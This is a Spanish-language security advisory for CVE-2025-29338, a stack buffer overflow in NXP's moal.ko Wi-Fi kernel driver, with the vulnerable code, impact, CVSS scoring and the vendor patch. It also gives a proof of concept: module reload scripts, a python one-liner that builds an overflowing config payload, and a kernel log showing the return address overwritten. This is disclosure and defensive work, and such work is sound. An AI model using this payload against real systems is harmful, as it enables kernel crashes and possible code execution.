
Aviso técnico y prueba de concepto para un desbordamiento de búfer basado en pila (CWE-121) en el controlador del kernel Wi-Fi moal.ko de NXP, que permite un pánico del kernel local y una posible ejecución de código arbitrario.
woal_setup_module_param / parse_cfg_get_line)| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-29338 |
| Gravedad | Alta |
| Puntaje CVSS v3.1 | 7.8 |
| Vector CVSS v3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidad | Desbordamiento de Búfer en la Pila (CWE-121) |
| Vector de Ataque | Local |
| Vendedor | NXP Semiconductors |
| Estado del Parche del Vendedor | Parcheado |
| Descubridor | Mahmoud Jadaan — diconium auto GmbH |
Existe una vulnerabilidad de desbordamiento de búfer en la pila en el controlador Wi-Fi del kernel moal.ko de NXP (versión 5.1.7.10) en las compilaciones de firmware v17.92.1.p149.43 hasta v17.92.1.p149.157. La vulnerabilidad se encuentra en parse_cfg_get_line (mlinux/moal_init.c), llamada desde woal_setup_module_param. El bucle while que lee líneas del archivo de configuración en un búfer de pila de tamaño fijo carece de una verificación de límites de destino, lo que permite que una línea de longitud arbitraria desborde el búfer, corrompa la pila y provoque un pánico del kernel. NXP PSIRT confirmó la vulnerabilidad y se ha publicado la corrección.
woal_setup_module_param asigna un búfer de pila fijo de MAX_LINE_LEN bytes y lo pasa a parse_cfg_get_line en cada iteración mientras procesa el archivo de configuración mod_para:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
En la revisión vulnerable de parse_cfg_get_line, la condición del bucle while solo verifica la posición de origen y los terminadores de línea — no hay verificación de cuántos bytes se han escrito en el búfer de destino:
// parse_cfg_get_line — versión vulnerable (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // escritura sin verificar — sin verificación de límites de destino
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Una línea del archivo de configuración más larga que MAX_LINE_LEN bytes hace que dest avance más allá del final del búfer de pila del llamador, sobrescribiendo la memoria de pila adyacente, incluido el puntero de marco guardado y la dirección de retorno.
El controlador se carga al inicio del sistema usando insmod con el parámetro mod_para apuntando a un archivo de configuración. Un atacante que pueda escribir un archivo de configuración manipulado y recargar el módulo del kernel puede desencadenar el desbordamiento.
| Impacto | Descripción |
|---|---|
| Denegación de Servicio | Pánico del kernel — confirmado; provoca reinicio inmediato del sistema |
| Corrupción de Memoria del Kernel | El desbordamiento de pila sobrescribe el guardado y la dirección de retorno |
Puntaje Base: 7.8 (Alta)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Provisto únicamente con fines defensivos y de investigación.
#!/bin/sh
rmmod moal
rmmod mlan
El búfer de pila se llena con As, seguido de 8 bytes para el espacio del canario de pila (Bs), 8 bytes para el rbp guardado (Cs) y 8 bytes para sobrescribir la dirección de retorno (Ds):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
La ruta mod_para debe ser relativa al directorio donde el kernel busca firmware (típicamente /lib/firmware/). Construir la ruta en consecuencia:
#!/bin/sh
PAYLOAD_PATH=../../<ruta_relativa_a>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Se desencadena un pánico del kernel inmediatamente durante la inicialización del módulo. Los registros del kernel confirman que la dirección de retorno se sobrescribe con 0x4444444444444444 (ASCII DDDDDDDD), demostrando control total del puntero de instrucción:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- dirección de retorno controlada
NXP PSIRT confirmó la vulnerabilidad y proporcionó el siguiente parche para mlinux/moal_init.c. La corrección agrega una verificación de límites dentro del bucle parse_cfg_get_line para salir antes de exceder MAX_LINE_LEN:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Actualizar a una versión de firmware posterior a v17.92.1.p149.157 que incluya el parche anterior. Como endurecimiento adicional:
CAP_SYS_MODULE a administradores de confianza; imponer restricciones en las llamadas al sistema init_module / finit_module mediante SELinux, AppArmor o seccomp.mod_para y los archivos a los que apunta solo sean escribibles por root.NXP PSIRT confirmó la vulnerabilidad. La corrección se ha publicado como parte de una actualización de software formal.
Descubridor: Mahmoud Jadaan — diconium auto GmbH
Este aviso se publica como referencia pública para cumplir con los requisitos mínimos de divulgación de CVE según el Programa CVE.
| Campo | Detalle |
|---|
| Vendedor | NXP Semiconductors |
| Componente | Controlador Wi-Fi del kernel moal.ko |
| Versión del Controlador | 5.1.7.10 |
| Firmware — Primer Afectado | v17.92.1.p149.43 |
| Firmware — Último Afectado | v17.92.1.p149.157 |
| Atributo | Valor |
|---|
| Tipo | Local |
| Privilegios Requeridos | CAP_SYS_MODULE (root o equivalente) |
| Interacción del Usuario | Ninguna |
| Superficie de Ataque | Parámetro del módulo del kernel mod_para (ruta del archivo de configuración) |
rbp| Posible Ejecución de Código | Dirección de retorno controlada — es posible la ejecución de código arbitrario en modo kernel dependiendo de las mitigaciones presentes (canario de pila, KASLR, etc.) |
| Métrica | Valor | Justificación |
|---|
| Vector de Ataque (AV) | Local (L) | Requiere acceso local al sistema |
| Complejidad de Ataque (AC) | Baja (L) | Sin condiciones de carrera ni requisitos complejos |
| Privilegios Requeridos (PR) | Alta (H) | Requiere CAP_SYS_MODULE / root |
| Interacción del Usuario (UI) | Ninguna (N) | Totalmente controlado por el atacante |
| Alcance (S) | Sin Cambios (U) | El impacto permanece dentro del contexto del kernel |
| Confidencialidad (C) | Alta (H) | Memoria del kernel potencialmente legible |
| Integridad (I) | Alta (H) | Sobrescritura de dirección de retorno demostrada |
| Disponibilidad (A) | Alta (H) | Pánico del kernel / reinicio confirmado |